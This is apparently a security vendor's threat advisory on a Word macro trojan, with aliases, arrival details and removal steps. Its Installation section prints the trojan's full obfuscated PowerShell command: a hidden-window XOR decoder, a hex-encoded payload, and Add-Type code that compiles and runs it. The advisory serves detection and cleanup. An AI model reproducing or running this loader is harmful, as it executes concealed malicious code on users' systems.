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Trojan.W97M.POWLOAD.TIOIBEKE

March 10, 2020
 Analysis by: Kennard Yap
 ALIASES:

VBA/TrojanDownloader.Agent.RVM trojan (NOD32); Trojan:W32/MalDoc.A (FSECURE)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 REPORTED INFECTION:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW


This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

24,951 bytes

File Type:

DOC

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • powershell -WindowStyle Hidden Sl$$%-SSl$$%*Sfunction z994c {param($ubfa17a)$nc4d731='y95eab6';$ka666='';for ($i=0; $i -lt $ubfa17a.length;$i+=2){$y488b4=[convert]::ToByte($ubfa17a.Substring($i,2),16);$ka666+=[char]($y488b4 -bxor $nc4d731[($i/2)%$nc4d731.length]);}return $ka666;}Sl$$%-SSl$$%*S$hd2ba7a = '0c4a5c0b064265004a41000c59430a505b0241314f0a4d50084f3043174d5c08044c7f174d50170e12651c4b430c020745424c460c0f05162a404611040f183d5054020f0d450d5056165a174510575245321b450d5c584b282d0d0c4a5c0b064265004a41000c4c781c4d0e686b12431b555c0641015a184a46451754041c5c041e3a265a157058150e1042511b5e00130c53150a07474d27580d4b4c350e0b580d0417220416660b5656240506441c4a4647483f16094c57090801160a4d54110801161c414100130c16305741351510161601560705501e305741351510160c5a0151585103554a4117080c515958535c55571f426271090d2b5b0956471149405d1c4b5b000d51045b1515200f164400695a0c0f1616441917290e03523550571700104f5b106845111754155056451216570d505645041a421c4b5b45280c42294d47450654044a5f1d1615105f175e1512570001180e1c5e3a265a157058150e1042511b5e00130c53150a07474d4273174d471c310d5f174d0847370b440d4c54093110590d5c5611434b6b594940070d0b55594a4104150b55595c4d11041058595b5a0a0d42571c5c0657492b580d694117411353410104004d377f174d6511134254480d0304005a1a594c5c0b15424c4c5c5452054e16164c4145140b580d1957575856051c100e3e250e5a3054450a13161e5b7250170f075a4a0b1b010d0e145519700b15104f29565c0b155f142b4d59280e1453345c580a131b1455196600152e570a4d7017130d44445f540912071f2419461100165f1a19501d1507441719430a0806160a0c0c5657551e305741351510161d5d5650574e7f174d651113425d4c0f060155071a105741451506054c5807074859460c5b590c0242450d58410c02425f174d1504595b574e08034d48197f174d65111342581f5b04075504164419525353515051430c5c55011e5b080d50555600495a010351540318080047484b0d105f1d0b0700071b0d53585c2b580d6941174f38530b561c1e060d42161953575201054e02482c0f16660d4b15020353074f0e00580e5a551b5d074d0f0454485b01034d180f400d564d43510e4c0d01535101054b0904505653014e5b01555151064e09025155401f50025c0349055448080352545f0b30574135151018235c470a481951164d5a450750051a0a025e1c377f174d651113425b18000057565f1e2c705b11311644500c0e10080c42595503505756071f04055e08041e5858500052501e1e5b04545755035554545c54500155094d51514e590c4d15095757004d08534c481951164d5a450750051a0a025e1c204f0d5c6e38411500400d00075c1906010a0449511a501f15051d58524b42705b1131164459495156585b0e44745417120a57151774090d0d55317e590a03035a510a1c5e2c03440a5154094f215909401d12575b024c5b19554d12524a000c5d4d511f424a005c52540151575012412b580d69411749055448080352544c6216705b1157561e5012051d5152071b10191505510f400119564859504b0a56565658162e5c57260d0b53174d151c5657531f0d080b0415162e5c57260d0b53174d1d4c5a11420b505b0241170e185d0258240c40104b5a0b0c07580d177200152459155d50173103421111700b170b44165758000f16182a49500608035a3f565901041018384945090801570d505a0b25034218101e473d3e501b0c010059401d03000c51024a144c0e0006550606491b1c5e1855031c5f014b250d4117555a0405245f155c1d1f585b021a1117545056524d0804505400021d080c550456534d0b01075057074d0c0c545953014c5804525154021a0d0755045300485805065101064a0c04540256574858075d515505490e0d550757544e5a05555356064c080d540256074c09174c4d170e185d024c5a3244165a5016123142184b412c0f0459595e03070201044e045b001642660b5656001211650d584711280c501611405d000601500265170e01530a4a1b361503440d1152530301554b0e1c5e1307420c4b5b4551594b094c57090801160a4d54110801160a4d470c0f051603000c51024a450d4b5c0b0642421d00535004041f024a4117080c51594c5651555b054c04171c585753185b03475a11420b505b024105004b0a53583216441057524b240f460d400e030e101e10574145085f0642500911055b504c5c534b2d07581e4d5d5e08490b4b104e0718165359560d06030604447a5a0b1707440d17610a231b421c1141015804031c5f1b361400450d4b5c0b064a5f550b1c4950541f425e035752041d4411560d00101f51560d0603060459671510025602400a003e490b194b1015404117554d0d0c56544c7a1c575211093f1f4244470015174417195253535150424448';Sl$$%-SSl$$%*S$hd2ba7a2 = z994c($hd2ba7a);Sl$$%-SSl$$%*SAdd-Type -TypeDefinition $hd2ba7a2;Sl$$%-SSl$$%*S[v62ee1]::a89a716();Sl$$%-SSl$$%*SSl$$%-SSl$$%*SSl$$%-SSl$$%*_;

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

15.718.02

FIRST VSAPI PATTERN DATE:

02 Mar 2020

VSAPI OPR PATTERN File:

15.719.00

VSAPI OPR PATTERN Date:

03 Mar 2020

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Scan your computer with your Trend Micro product to delete files detected as Trojan.W97M.POWLOAD.TIOIBEKE. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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